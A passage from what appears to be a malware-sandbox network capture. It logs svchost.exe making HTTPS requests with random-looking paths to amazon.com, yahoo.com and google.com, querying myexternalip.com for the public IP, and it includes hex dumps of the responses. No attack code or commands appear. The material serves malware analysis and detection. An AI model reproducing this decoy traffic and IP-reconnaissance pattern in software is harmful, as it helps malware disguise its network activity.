7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49911	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:51 UTC	920	OUT	GET /dfh70Ikmus9kISy0xhFZx4F2r/rm0qwWcvd7sj5jwC0o3onb9eajcn4u1cw1r51c53c8/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:51 UTC	921	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:51 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: SD522MW9C5R170FVP1QM x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:51 UTC	921	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49912	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:51 UTC	922	OUT	GET /5l3jaIxgba3kjqfdt/jebbTjfk2VYpvNrziCj2hpbfrSvtgbQdI3n/1wuurx359k33reb5098jueXl5vxtdkl53w/2cXkOmjtpx8h0q8o90kWBv1v/a6wm55B7u5Crjhm8HitirHysMrnTkrgqaw9csluqh0pSMx/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:53:51 UTC	922	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:49 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Age: 2 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=5fhr7otgl5igf&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:51 UTC	924	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:51 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:53:51 UTC	924	IN	Data Raw: 33 38 36 0d 0a Data Ascii: 386
2021-09-28 07:53:51 UTC	924	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 35 6c 33 6a 61 49 78 67 62 61 33 6b 6a 71 66 64 74 25 32 66 6a 65 62 62 54 6a 66 6b 32 56 59 70 76 4e 72 7a 69 43 6a 32 68 70 62 66 72 53 76 74 67 62 51 64 49 33 6e 25 32 66 31 77 75 75 72 78 33 35 39 6b 33 33 72 65 62 35 30 39 38 6a 75 65 58 6c 35 76 78 74 64 6b 6c 35 33 77 25 32 66 32 63 58 6b 4f 6d 6a 74 70 78 38 68 30 71 38 6f 39 30 6b 57 42 76 31 76 25 32 66 61 36 77 6d 35 35 42 37 75 35 43 72 6a 68 6d 38 48 69 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f5l3jaIxgba3kjqfdt%2fjebbTjfk2VYpvNrziCj2hpbfrSvtgbQdI3n%2f1wuurx359k33reb5098jueXl5vxtdkl53w%2f2cXkOmjtpx8h0q8o90kWBv1v%2fa6wm55B7u5Crjhm8Hi
2021-09-28 07:53:51 UTC	925	IN	Data Raw: 0d 0a Data Ascii:
2021-09-28 07:53:51 UTC	925	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49916	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:52 UTC	925	OUT	GET /Lmz3s5u51r8c0dm1i/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:53:52 UTC	925	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1579 Date: Tue, 28 Sep 2021 07:53:52 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:53:52 UTC	925	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:53:52 UTC	926	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49917	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:52 UTC	927	OUT	GET /c2nytzC18hFezq36jar1p2H/59yohiItuuk6oUi2bdmah2q/vd2Usd1ozgteagwbo2ut2qXr6Kbcix00/x7JOzsfCn6Xvj95r/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:52 UTC	928	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:52 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: W3MY5QETX8KXGHWZ989X x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:52 UTC	929	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49919	34.117.59.81	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:53 UTC	930	OUT	GET /raw HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: myexternalip.com
2021-09-28 07:53:53 UTC	930	IN	HTTP/1.1 200 OK access-control-allow-origin: * content-type: text/html; charset=utf-8 content-length: 11 date: Tue, 28 Sep 2021 07:53:53 GMT x-envoy-upstream-service-time: 1 Via: 1.1 google Alt-Svc: clear Connection: close
2021-09-28 07:53:53 UTC	930	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 33 39 Data Ascii: 84.17.52.39

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49921	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:53 UTC	930	OUT	GET /tkxfferfpm3thF8bGv79h6rt91Zd4v1f7nt258res8EsLaX/v5qW89nsymg9494OIlaa33R7HRtNj/bz9ziquIo962qAesq0hmd1etV04uzu/3cF4laudz1gn53Rla18nslt6g812/f54lw8nhDzyAzfuxlqbg2yai24a155lqhngsmh/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:53 UTC	931	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:53 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: H3FG0ANVRKSM9CFZTRV3 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:53 UTC	931	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49922	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:54 UTC	932	OUT	GET /DooRtnT0UXembqa0298jih9Y99ak7fe6ur/ax5xkkSYd3274mqEek1u2/W6nyojyCe181sZyJ844dqc68aso/7aytu5fbzn0d2xue3fQnxos/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:54 UTC	932	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:54 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: PMVQ9MYJACAJ26YZQCFW x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:54 UTC	933	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49923	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:54 UTC	934	OUT	GET /eTzWuluo4t9ooivcrPf6pe/mfk8smtmi383pV1mgvtvvyMFadOMYjFl/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:53:54 UTC	934	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:54 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 680 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=1an54q1gl5igi&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:54 UTC	935	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 34 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:54 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:53:54 UTC	936	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 65 54 7a 57 75 6c 75 6f 34 74 39 6f 6f 69 76 63 72 50 66 36 70 65 25 32 66 6d 66 6b 38 73 6d 74 6d 69 33 38 33 70 56 31 6d 67 76 74 76 76 79 4d 46 61 64 4f 4d 59 6a 46 6c 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2feTzWuluo4t9ooivcrPf6pe%2fmfk8smtmi383pV1mgvtvvyMFadOMYjFl%2f';if(window!=window.top){ document.write('<p>Content is currently unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49924	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:55 UTC	936	OUT	GET /jxjvrx9b1Fkby3vtz096/rbfBnkttgvcZygw15n3i2c4rq88wg6jkij2srWfo5p/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:53:55 UTC	937	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:55 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 696 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=f0ckpm5gl5igj&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:55 UTC	938	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 35 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 